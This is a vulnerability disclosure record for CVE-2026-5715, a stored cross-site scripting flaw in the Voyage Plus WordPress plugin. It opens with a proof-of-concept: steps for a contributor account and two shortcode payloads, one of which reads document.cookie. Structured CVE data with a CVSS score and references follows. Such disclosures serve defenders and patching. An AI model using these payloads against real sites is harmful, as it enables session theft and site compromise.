CVE-2026-5715

<!-- PoC for CVE-2026-5715 --> <!-- 1. Log in as a user with Contributor access or higher. --> <!-- 2. Create a new Post or Page. --> <!-- 3. Insert the following payload into the content editor: --> [post-content class=" onmouseover=alert('XSS') "] <!-- Alternative Payload using script tag (if filtering allows): --> [post-content class="><script>alert(document.cookie)</script><"] <!-- 4. Publish/Submit the post. --> <!-- 5. Visit the post page to trigger the payload. -->

{"cve": {"id": "CVE-2026-5715", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:55.097", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Voyage Plus plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' attribute of the 'post-content' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/voyage-plus/tags/1.0.6/inc/shortcodes.php#L194", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/voyage-plus/trunk/inc/shortcodes.php#L194", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8daa0321-e8cc-416d-ad0e-173e316caf83?source=cve", "source": "[email protected]"}]}}